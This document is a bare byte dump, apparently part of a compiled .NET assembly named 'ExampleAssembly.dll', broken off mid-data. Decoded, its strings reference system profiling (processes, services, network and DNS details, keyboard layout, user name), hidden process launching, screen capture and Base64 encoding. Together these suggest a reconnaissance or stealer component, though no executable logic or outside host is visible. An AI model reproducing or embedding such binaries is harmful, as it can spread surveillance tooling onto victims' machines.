49,0,24,4,195,0,61,4,197,0,80,4,0,0,0,69,120,97,109,112,108,101,65,115,115,101,109,98,108,121,46,100,108,108,0,69,120,97,109,112,108,101,65,115,115,101,109,98,108,121,0,109,115,99,111,114,108,105,98,0,83,121,115,116,101,109,46,68,114,97,119,105,110,103,0,83,121,115,116,101,109,46,77,97,110,97,103,101,109,101,110,116,0,83,121,115,116,101,109,46,87,105,110,100,111,119,115,46,70,111,114,109,115,0,83,121,115,116,101,109,46,67,111,114,101,0,83,121,115,116,101,109,0,83,121,115,116,101,109,46,83,101,114,118,105,99,101,80,114,111,99,101,115,115,0,117,115,101,114,51,50,46,100,108,108,0,60,77,111,100,117,108,101,62,0,65,0,79,98,106,101,99,116,0,70,117,110,99,96,50,0,77,97,110,97,103,101,109,101,110,116,79,98,106,101,99,116,0,67,111,109,112,105,108,101,114,71,101,110,101,114,97,116,101,100,65,116,116,114,105,98,117,116,101,0,83,121,115,116,101,109,46,82,117,110,116,105,109,101,46,67,111,109,112,105,108,101,114,83,101,114,118,105,99,101,115,0,46,99,116,111,114,0,80,114,111,99,101,115,115,0,83,121,115,116,101,109,46,68,105,97,103,110,111,115,116,105,99,115,0,70,117,110,99,96,51,0,77,97,116,99,104,0,83,121,115,116,101,109,46,84,101,120,116,46,82,101,103,117,108,97,114,69,120,112,114,101,115,115,105,111,110,115,0,75,101,121,86,97,108,117,101,80,97,105,114,96,50,0,83,121,115,116,101,109,46,67,111,108,108,101,99,116,105,111,110,115,46,71,101,110,101,114,105,99,0,103,101,116,95,75,101,121,0,83,116,114,105,110,103,0,67,111,109,112,97,114,101,84,111,0,77,97,110,97,103,101,109,101,110,116,79,98,106,101,99,116,83,101,97,114,99,104,101,114,0,77,97,110,97,103,101,109,101,110,116,79,98,106,101,99,116,67,111,108,108,101,99,116,105,111,110,0,77,97,110,97,103,101,109,101,110,116,79,98,106,101,99,116,69,110,117,109,101,114,97,116,111,114,0,69,109,112,116,121,0,71,101,116,0,71,101,116,69,110,117,109,101,114,97,116,111,114,0,103,101,116,95,67,117,114,114,101,110,116,0,77,97,110,97,103,101,109,101,110,116,66,97,115,101,79,98,106,101,99,116,0,103,101,116,95,73,116,101,109,0,84,111,83,116,114,105,110,103,0,69,110,118,105,114,111,110,109,101,110,116,0,103,101,116,95,73,115,54,52,66,105,116,79,112,101,114,97,116,105,110,103,83,121,115,116,101,109,0,67,111,110,99,97,116,0,77,111,118,101,78,101,120,116,0,73,68,105,115,112,111,115,97,98,108,101,0,68,105,115,112,111,115,101,0,83,117,98,115,116,114,105,110,103,0,103,101,116,95,80,114,111,112,101,114,116,105,101,115,0,80,114,111,112,101,114,116,121,68,97,116,97,67,111,108,108,101,99,116,105,111,110,0,80,114,111,112,101,114,116,121,68,97,116,97,0,103,101,116,95,86,97,108,117,101,0,67,111,110,118,101,114,116,0,84,111,85,73,110,116,54,52,0,85,73,110,116,54,52,0,97,0,73,110,112,117,116,76,97,110,103,117,97,103,101,0,103,101,116,95,67,117,114,114,101,110,116,73,110,112,117,116,76,97,110,103,117,97,103,101,0,103,101,116,95,76,97,121,111,117,116,78,97,109,101,0,66,0,73,69,110,117,109,101,114,97,98,108,101,96,49,0,69,110,117,109,101,114,97,98,108,101,0,83,121,115,116,101,109,46,76,105,110,113,0,67,97,115,116,0,73,69,110,117,109,101,114,97,98,108,101,0,83,121,115,116,101,109,46,67,111,108,108,101,99,116,105,111,110,115,0,87,104,101,114,101,0,98,0,103,101,116,95,76,101,110,103,116,104,0,77,97,110,97,103,101,109,101,110,116,67,108,97,115,115,0,71,101,116,73,110,115,116,97,110,99,101,115,0,103,101,116,95,67,111,117,110,116,0,67,0,84,111,68,111,117,98,108,101,0,77,97,116,104,0,82,111,117,110,100,0,68,111,117,98,108,101,0,99,0,68,0,100,0,69,0,101,0,70,0,102,0,71,0,103,0,76,105,115,116,96,49,0,68,97,116,101,84,105,109,101,0,73,69,110,117,109,101,114,97,116,111,114,96,49,0,69,110,117,109,101,114,97,116,111,114,0,71,101,116,80,114,111,99,101,115,115,101,115,0,74,111,105,110,0,77,97,110,97,103,101,109,101,110,116,68,97,116,101,84,105,109,101,67,111,110,118,101,114,116,101,114,0,84,111,68,97,116,101,84,105,109,101,0,73,110,115,101,114,116,0,73,69,110,117,109,101,114,97,116,111,114,0,67,111,109,112,97,114,105,115,111,110,96,49,0,83,111,114,116,0,72,0,84,105,109,101,83,112,97,110,0,69,120,99,101,112,116,105,111,110,0,103,101,116,95,72,111,117,114,115,0,73,110,116,51,50,0,103,101,116,95,77,105,110,117,116,101,115,0,103,101,116,95,83,101,99,111,110,100,115,0,70,111,114,109,97,116,0,104,0,80,101,114,102,111,114,109,97,110,99,101,67,111,117,110,116,101,114,0,78,101,120,116,86,97,108,117,101,0,70,114,111,109,83,101,99,111,110,100,115,0,73,0,69,110,99,111,100,105,110,103,0,83,121,115,116,101,109,46,84,101,120,116,0,103,101,116,95,85,84,70,56,0,71,101,116,66,121,116,101,115,0,84,111,66,97,115,101,54,52,83,116,114,105,110,103,0,105,0,80,114,111,99,101,115,115,83,116,97,114,116,73,110,102,111,0,83,116,114,105,110,103,66,117,105,108,100,101,114,0,115,101,116,95,87,105,110,100,111,119,83,116,121,108,101,0,80,114,111,99,101,115,115,87,105,110,100,111,119,83,116,121,108,101,0,115,101,116,95,70,105,108,101,78,97,109,101,0,115,101,116,95,65,114,103,117,109,101,110,116,115,0,115,101,116,95,82,101,100,105,114,101,99,116,83,116,97,110,100,97,114,100,69,114,114,111,114,0,115,101,116,95,82,101,100,105,114,101,99,116,83,116,97,110,100,97,114,100,79,117,116,112,117,116,0,115,101,116,95,85,115,101,83,104,101,108,108,69,120,101,99,117,116,101,0,115,101,116,95,67,114,101,97,116,101,78,111,87,105,110,100,111,119,0,115,101,116,95,83,116,97,114,116,73,110,102,111,0,83,116,97,114,116,0,103,101,116,95,83,116,97,110,100,97,114,100,79,117,116,112,117,116,0,83,116,114,101,97,109,82,101,97,100,101,114,0,83,121,115,116,101,109,46,73,79,0,84,101,120,116,82,101,97,100,101,114,0,82,101,97,100,84,111,69,110,100,0,65,114,114,97,121,76,105,115,116,0,68,105,99,116,105,111,110,97,114,121,96,50,0,83,112,108,105,116,0,83,116,114,105,110,103,83,112,108,105,116,79,112,116,105,111,110,115,0,111,112,95,69,113,117,97,108,105,116,121,0,67,104,97,114,0,67,111,110,116,97,105,110,115,75,101,121,0,65,100,100,0,82,101,103,101,120,0,77,97,116,99,104,101,115,0,77,97,116,99,104,67,111,108,108,101,99,116,105,111,110,0,83,101,108,101,99,116,0,84,111,65,114,114,97,121,0,67,111,110,116,97,105,110,115,0,82,101,112,108,97,99,101,0,74,0,68,105,114,101,99,116,111,114,121,73,110,102,111,0,70,105,108,101,73,110,102,111,0,71,101,116,70,105,108,101,115,0,71,101,116,68,105,114,101,99,116,111,114,105,101,115,0,70,105,108,101,83,121,115,116,101,109,73,110,102,111,0,103,101,116,95,78,97,109,101,0,83,101,114,118,105,99,101,67,111,110,116,114,111,108,108,101,114,0,71,101,116,83,101,114,118,105,99,101,115,0,103,101,116,95,83,116,97,116,117,115,0,83,101,114,118,105,99,101,67,111,110,116,114,111,108,108,101,114,83,116,97,116,117,115,0,103,101,116,95,83,101,114,118,105,99,101,78,97,109,101,0,111,112,95,73,110,101,113,117,97,108,105,116,121,0,106,0,66,111,111,108,101,97,110,0,75,0,78,101,116,119,111,114,107,73,110,116,101,114,102,97,99,101,0,83,121,115,116,101,109,46,78,101,116,46,78,101,116,119,111,114,107,73,110,102,111,114,109,97,116,105,111,110,0,73,80,73,110,116,101,114,102,97,99,101,80,114,111,112,101,114,116,105,101,115,0,73,80,65,100,100,114,101,115,115,67,111,108,108,101,99,116,105,111,110,0,73,80,65,100,100,114,101,115,115,0,83,121,115,116,101,109,46,78,101,116,0,71,101,116,65,108,108,78,101,116,119,111,114,107,73,110,116,101,114,102,97,99,101,115,0,71,101,116,73,80,80,114,111,112,101,114,116,105,101,115,0,103,101,116,95,68,110,115,65,100,100,114,101,115,115,101,115,0,103,101,116,95,68,101,115,99,114,105,112,116,105,111,110,0,67,111,110,115,111,108,101,0,87,114,105,116,101,76,105,110,101,0,107,0,73,109,97,103,101,0,77,101,109,111,114,121,83,116,114,101,97,109,0,73,109,97,103,101,70,111,114,109,97,116,0,83,121,115,116,101,109,46,68,114,97,119,105,110,103,46,73,109,97,103,105,110,103,0,103,101,116,95,74,112,101,103,0,83,97,118,101,0,83,116,114,101,97,109,0,76,0,80,97,116,104,0,71,101,116,84,101,109,112,80,97,116,104,0,70,105,108,101,0,69,120,105,115,116,115,0,87,114,105,116,101,65,108,108,84,101,120,116,0,65,112,112,101,110,100,65,108,108,84,101,120,116,0,80,97,114,115,101,0,103,101,116,95,73,100,0,85,73,110,116,51,50,0,67,97,112,116,117,114,101,0,71,101,116,70,111,114,101,103,114,111,117,110,100,87,105,110,100,111,119,0,71,101,116,68,101,115,107,116,111,112,87,105,110,100,111,119,0,71,101,116,87,105,110,100,111,119,82,101,99,116,0,66,105,116,109,97,112,0,82,101,99,116,97,110,103,108,101,0,71,114,97,112,104,105,99,115,0,103,101,116,95,87,105,100,116,104,0,103,101,116,95,72,101,105,103,104,116,0,70,114,111,109,73,109,97,103,101,0,103,101,116,95,76,101,102,116,0,103,101,116,95,84,111,112,0,80,111,105,110,116,0,103,101,116,95,83,105,122,101,0,83,105,122,101,0,67,111,112,121,70,114,111,109,83,99,114,101,101,110,0,86,97,108,117,101,84,121,112,101,0,103,101,116,95,85,115,101,114,78,97,109,101,0,103,101,116,95,78,111,119,0,71,101,116,70,111,108,100,101,114,80,97,116,104,0,83,112,101,99,105,97,108,70,111,108,100,101,114,0,67,111,109,86,105,115,105,98,108,101,65,116,116,114,105,98,117,116,101,0,83,121,115,116,101,109,46,82,117,110,116,105,109,101,46,73,110,116,101,114,111,112,83,101,114,118,105,99,101,115,0,98,96,55,0,68,101,98,117,103,103,101,114,66,114,111,119,115,97,98,108,101,65,116,116,114,105,98,117,116,101,0,68,101,98,117,103,103,101,114,66,114,111,119,115,97,98,108,101,83,116,97,116,101,0,68,101,98,117,103,103,101,114,72,105,100,100,101,110,65,116,116,114,105,98,117,116,101,0,65,112,112,101,110,100,0,69,113,117,97,108,105,116,121,67,111,109,112,97,114,101,114,96,49,0,103,101,116,95,68,101,102,97,117,108,116,0,69,113,117,97,108,115,0,71,101,116,72,97,115,104,67,111,100,101,0,68,101,98,117,103,103,101,114,68,105,115,112,108,97,121,65,116,116,114,105,98,117,116,101,0,60,80,114,105,118,97,116,101,73,109,112,108,101,109,101,110,116,97,116,105,111,110,68,101,116,97,105,108,115,62,123,49,65,66,48,52,56,67,70,45,65,49,54,69,45,52,52,67,51,45,56,65,65,70,45,69,66,48,66,65,56,70,54,56,55,65,51,125,0,0,0,0,0,0,0,0,0,0,71,101,116,83,116,114,105,110,103,0,108,0,77,0,109,0,78,0,110,0,79,0,111,0,80,0,112,0,81,0,113,0,82,0,114,0,83,0,115,0,84,0,116,0,85,0,117,0,86,0,118,0,87,0,119,0,88,0,120,0,89,0,121,0,90,0,122,0,97,65,0,97,97,0,97,66,0,97,98,0,97,67,0,97,99,0,97,68,0,97,100,0,97,69,0,97,101,0,97,70,0,97,102,0,97,71,0,97,103,0,97,72,0,97,104,0,97,73,0,97,105,0,97,74,0,97,106,0,97,75,0,97,107,0,97,76,0,97,108,0,97,77,0,97,109,0,97,78,0,97,110,0,97,79,0,97,111,0,97,80,0,97,112,0,97,81,0,97,113,0,97,82,0,97,114,0,97,83,0,97,115,0,97,84,0,97,116,0,97,85,0,97,117,0,97,86,0,97,118,0,97,87,0,97,119,0,97,88,0,97,120,0,97,89,0,97,121,0,97,90,0,97,122,0,66,65,0,66,97,0,66,66,0,66,98,0,66,67,0,66,99,0,66,68,0,66,100,0,66,69,0,66,101,0,66,70,0,66,102,0,66,71,0,66,103,0,66,72,0,66,104,0,66,73,0,66,105,0,66,74,0,66,106,0,66,75,0,66,107,0,66,76,0,66,108,0,66,77,0,66,109,0,66,78,0,66,110,0,66,79,0,66,111,0,66,80,0,66,112,0,66,81,0,66,113,0,66,82,0,66,114,0,66,83,0,66,115,0,66,84,0,66,116,0,66,85,0,66,117,0,66,86,0,66,118,0,66,87,0,66,119,0,66,88,0,66,120,0,66,89,0,66,121,0,66,90,0,66,122,0,98,65,0,98,97,0,98,66,0,98,98,0,98,67,0,98,99,0,98,68,0,98,100,0,98,69,0,98,101,0,98,70,0,98,102,0,98,71,0,98,103,0,98,72,0,98,104,0,98,73,0,98,105,0,98,74,0,98,106,0,98,75,0,98,107,0,98,76,0,98,108,0,98,77,0,98,109,0,98,78,0,98,110,0,98,79,0,98,111,0,98,80,0,98,112,0,66,121,116,101,0,82,117,110,116,105,109,101,72,101,108,112,101,114,115,0,73,110,105,116,105,97,108,105,122,101,65,114,114,97,121,0,65,114,114,97,121,0,82,117,110,116,105,109,101,70,105,101,108,100,72,97,110,100,108,101,0,46,99,99,116,111,114,0,67,111,109,112,105,108,97,116,105,111,110,82,101,108,97,120,97,116,105,111,110,115,65,116,116,114,105,98,117,116,101,0,65,115,115,101,109,98,108,121,67,111,110,102,105,103,117,114,97,116,105,111,110,65,116,116,114,105,98,117,116,101,0,83,121,115,116,101,109,46,82,101,102,108,101,99,116,105,111,110,0,65,115,115,101,109,98,108,121,67,111,109,112,97,110,121,65,116,116,114,105,98,117,116,101,0,65,115,115,101,109,98,108,121,70,105,108,101,86,101,114,115,105,111,110,65,116,116,114,105,98,117,116,101,0,82,117,110,116,105,109,101,67,111,109,112,97,116,105,98,105,108,105,116,121,65,116,116,114,105,98,117,116,101,0,84,97,114,103,101,116,70,114,97,109,101,119,111,114,107,65,116,116,114,105,98,117,116,101,0,83,121,115,116,101,109,46,82,117,110,116,105,109,101,46,86,101,114,115,105,111,110,105,110,103,0,65,115,115,101,109,98,108,121,84,105,116,108,101,65,116,116,114,105,98,117,116,101,0,65,115,115,101,109,98,108,121,68,101,115,99,114,105,112,116,105,111,110,65,116,116,114,105,98,117,116,101,0,68,101,98,117,103,103,97,98,108,101,65,116,116,114,105,98,117,116,101,0,68,101,98,117,103,103,105,110,103,77,111,100,101,115,0,65,115,115,101,109,98,108,121,80,114,111,100,117,99,116,65,116,116,114,105,98,117,116,101,0,65,115,115,101,109,98,108,121,67,111,112,121,114,105,103,104,116,65,116,116,114,105,98,117,116,101,0,65,115,115,101,109,98,108,121,84,114,97,100,101,109,97,114,107,65,116,116,114,105,98,117,116,101,0,71,117,105,100,65,116,116,114,105,98,117,116,101,0,83,117,112,112,114,101,115,115,73,108,100,97,115,109,65,116,116,114,105,98,117,116,101,0,205,104,214,201,187,35,45,73,176,164,205,35,48,78,159,133,0,8,183,122,92,86,25,52,224,137,8,176,63,95,127,17,213,10,58,8,6,21,18,9,2,18,13,2,3,32,0,1,4,1,0,0,0,8,6,21,18,9,2,18,21,8,8,6,21,18,9,2,18,13,8,21,6,21,18,25,3,18,21,18,13,21,18,24,7,18,21,14,14,14,14,28,28,8,6,21,18,9,2,18,29,14,3,7,1,8,6,21,17,33,2,14,14,4,32,0,19,0,4,32,1,8,14,15,0,2,8,21,17,33,2,14,14,21,17,33,2,14,14,14,7,8,14,14,18,41,18,13,14,18,49,2,29,14,2,6,14,4,32,1,1,14,4,32,0,18,45,4,32,0,18,49,4,32,0,18,53,4,32,1,28,14,3,32,0,14,3,0,0,2,5,0,2,14,14,14,3,32,0,2,5,32,2,14,8,8,5,0,1,14,29,14,12,7,7,14,18,41,11,18,13,14,18,49,2,4,32,0,18,65,5,32,1,18,69,14,3,32,0,28,4,0,1,11,28,6,7,3,14,18,81,14,4,0,0,18,81,19,7,8,18,41,18,45,21,18,85,1,18,13,14,18,13,14,18,49,2,11,16,1,1,21,18,85,1,30,0,18,93,4,10,1,18,13,7,21,18,9,2,18,13,2,5,32,2,1,28,24,22,16,1,2,21,18,85,1,30,0,21,18,85,1,30,0,21,18,9,2,30,0,2,7,0,4,14,14,14,14,14,6,0,3,14,14,14,14,6,7,4,14,8,14,2,3,32,0,8,4,32,1,14,14,13,7,7,14,18,97,18,45,18,13,14,2,18,49,17,7,12,14,18,13,14,14,11,11,13,13,14,18,49,2,29,28,4,0,1,13,11,4,0,1,13,13,5,0,2,13,13,8,5,0,1,14,29,28,13,7,8,14,18,13,14,14,14,18,49,29,14,2,14,7,9,14,18,13,14,14,14,14,18,49,29,14,2,10,7,6,14,18,13,14,14,18,49,2,85,7,15,14,21,18,109,1,21,17,33,2,14,14,14,18,41,18,45,21,18,85,1,21,18,24,7,18,21,14,14,14,14,28,28,21,18,24,7,18,21,14,14,14,14,28,28,17,113,14,21,17,33,2,14,14,14,21,18,117,1,21,18,24,7,18,21,14,14,14,14,28,28,2,29,14,21,17,121,1,21,17,33,2,14,14,10,21,18,109,1,21,17,33,2,14,14,5,0,0,29,18,21,7,21,18,9,2,18,21,8,7,21,18,9,2,18,13,8,20,21,18,25,3,18,21,18,13,21,18,24,7,18,21,14,14,14,14,28,28,47,16,4,5,21,18